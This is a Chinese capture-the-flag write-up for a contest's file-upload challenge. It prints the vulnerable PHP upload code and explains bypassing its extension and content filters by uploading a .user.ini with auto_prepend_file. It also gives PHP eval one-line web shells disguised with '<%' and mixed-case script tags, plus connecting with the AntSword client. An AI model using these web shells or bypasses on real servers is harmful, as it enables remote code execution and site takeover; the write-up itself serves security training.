IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 校赛uploads用.user.ini绕过 -> 正文阅读

[PHP知识库]校赛uploads用.user.ini绕过

先看源码:

!DOCTYPE?html>
<html?lang="en">

<head>
????<meta?charset="UTF-8">
????<meta?name="viewport"?content="width=device-width,?initial-scale=1.0">
????<meta?http-equiv="X-UA-Compatible"?content="ie=edge">
????<title>Upload?Labs</title>
</head>

<body>
<h2>Upload?Labs</h2>
<form?action=""?method="post"?enctype="multipart/form-data">
????<label?for="file">文件名:</label>
????<input?type="file"?name="fileUpload"?id="file"><br>
????<input?type="submit"?name="upload"?value="提交">
</form>
</body>

</html>

<?php

//?error_reporting(0);
highlight_file(__FILE__);
$userdir?=?"uploads/"?.?md5($_SERVER["REMOTE_ADDR"]);
if?(!file_exists($userdir))?{
????mkdir($userdir,?0777,?true);
}
file_put_contents($userdir?.?"/index.php",?"");
if?(isset($_POST["upload"]))?{
????$name?=?$_FILES["fileUpload"]["name"];
????$tmp_name?=?$_FILES["fileUpload"]["tmp_name"];
????if?(!$tmp_name)?{
????????die("filesize?too?big!");
????}
????if?(!$name)?{
????????die("filename?cannot?be?empty!");
????}
????$extension?=?substr($name,?strrpos($name,?".")?+?1);
????if?(preg_match("/ph|htacess|jpg|png|jpeg|txt|gif/i",?$extension))?{
????????die("illegal?suffix!");
????}
????if?(mb_strpos(file_get_contents($tmp_name),?"<?")?!==?FALSE)?{
????????die("illegal?symbol!");
????}
????if?(mb_strpos(file_get_contents($tmp_name),?"script")?!==?FALSE)?{
????????die("illegal?symbol!");
????}
????$upload_file_path?=?$userdir?.?"/"?.?$name;
????move_uploaded_file($tmp_name,?$upload_file_path);
????echo?"Your?dir?"?.?$userdir?.?'?<br>';
????//echo?'Your?files?:?<br>';
????//var_dump(scandir($userdir));
}

使用.user.ini的条件:在nginx服务器下
首先介绍php.ini文件,php中有很多配置,并且可以在php.ini中设置。在正规的网站中,每一次运行php文件都会先读取配置文件
配置可分为四种:
关于系统一类PHP_INI_SYSTEM的配置,只能在向像php.ini类似厉害的配置文件中设定。其它三种不怎么重要的配置不仅可以在php.ini中设定,还可以在.user.ini中设定。.user.ini和php.ini不同的是,.user.ini是一个动态加载的ini文件。在修改.user.ini之后不用重启服务器中间件,只需等待 user_ini.cache_ttl默认的配置时间(300秒)。即可被重新加载。
服务器中间件:中间件是服务器上负责解析http请求的一组应用程序,负责接收并解析http请求数据包,在服务器上找到数据包所请求的文件后,将其返回给客户端,如果http数据包所请求的是一个动态脚本文件,如php等,中间件就要靠CGI与脚本语言解析软件进行交互,处理好动态脚本文件后,再将处理后的文件其返回给浏览器。 说白了,中间件就是服务器上web端口(通常为80端口)的一个翻译官,负责告诉服务器用户要请求哪些文件,如果用户请求的是一个静态的html页面,就直接在服务器上找到对应文件并将其交给用户浏览器,如果用户请求的是一个动态页面如php,asp等,中间件在找到该文件后,将其交给对应的脚本语言解析程序,脚本语言解析程序将文件解析成html后,再把解析过的文件发送给浏览器。
.user.ini是一种可以被用户自定义的特殊的php.ini,.user.ini可以设定PHP_INI_USER和PHP_INII_PERDI和PHP_INI_ALL

?

.user.ini中有两个配置可以用来包含后门:
auto_prepend_file=a.bmp
auto_append_file=a.bmp
前者指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。后者则是调用在文件后面包含。

在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。

include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。

include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:

  • require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。
源码关键部分: if?( preg_match ( "/ph|htacess|jpg|png|jpeg|txt|gif/i" ,? $extension ))?{
????????die(
"illegal?suffix!" );
????}
????if?(
mb_strpos ( file_get_contents ( $tmp_name ),? "<?" )?!==? FALSE )?{
????????die(
"illegal?symbol!" );
????}
????if?(
mb_strpos ( file_get_contents ( $tmp_name ),? "script" )?!==? FALSE )?{
????????die(
"illegal?symbol!" );
????}
可以看到后面禁用了<?和<script>可以使用大小写要过<SCRIpt>也可以用<%绕过(<%等价与<?)。如果<script>要插入到前端,可以用<scri<!--test-->pt>绕过,编码绕过,拼凑绕过。(注意是在前端)
所以上面这题我们先传一个.user.ini文件,文件内容写上面的那句:auto_prepend_file=a.bmp。然后再用记事本写下一句话木马:<% php @eval($_POST['111']);%>或<SCRIpt language="php">@eval($_POST['111'])<scrIPT>
然后得到上传路径,可以通过御剑等工具扫目录得到上传的文件所在目录下的php文件有index.php(在含有.user.ini的文件下要含有php文件,否则不能正常包含,执行一句话木马)。用蚁剑连接 128.1.2.1/上传的路径/含有.user.ini的文件下的php文件(如

http://172.16.68.4:28051/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/index.php),注意蚁剑是用post传参,用get方法会连接失败(可能连接成功了,但是打不开文件目录)。

在nginx服务器下且没有ban .htaccess的情况下,引用.htaccess也可以,但是还要进行某部分修改

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-17 12:33:35  更:2021-11-17 12:34:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:27:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计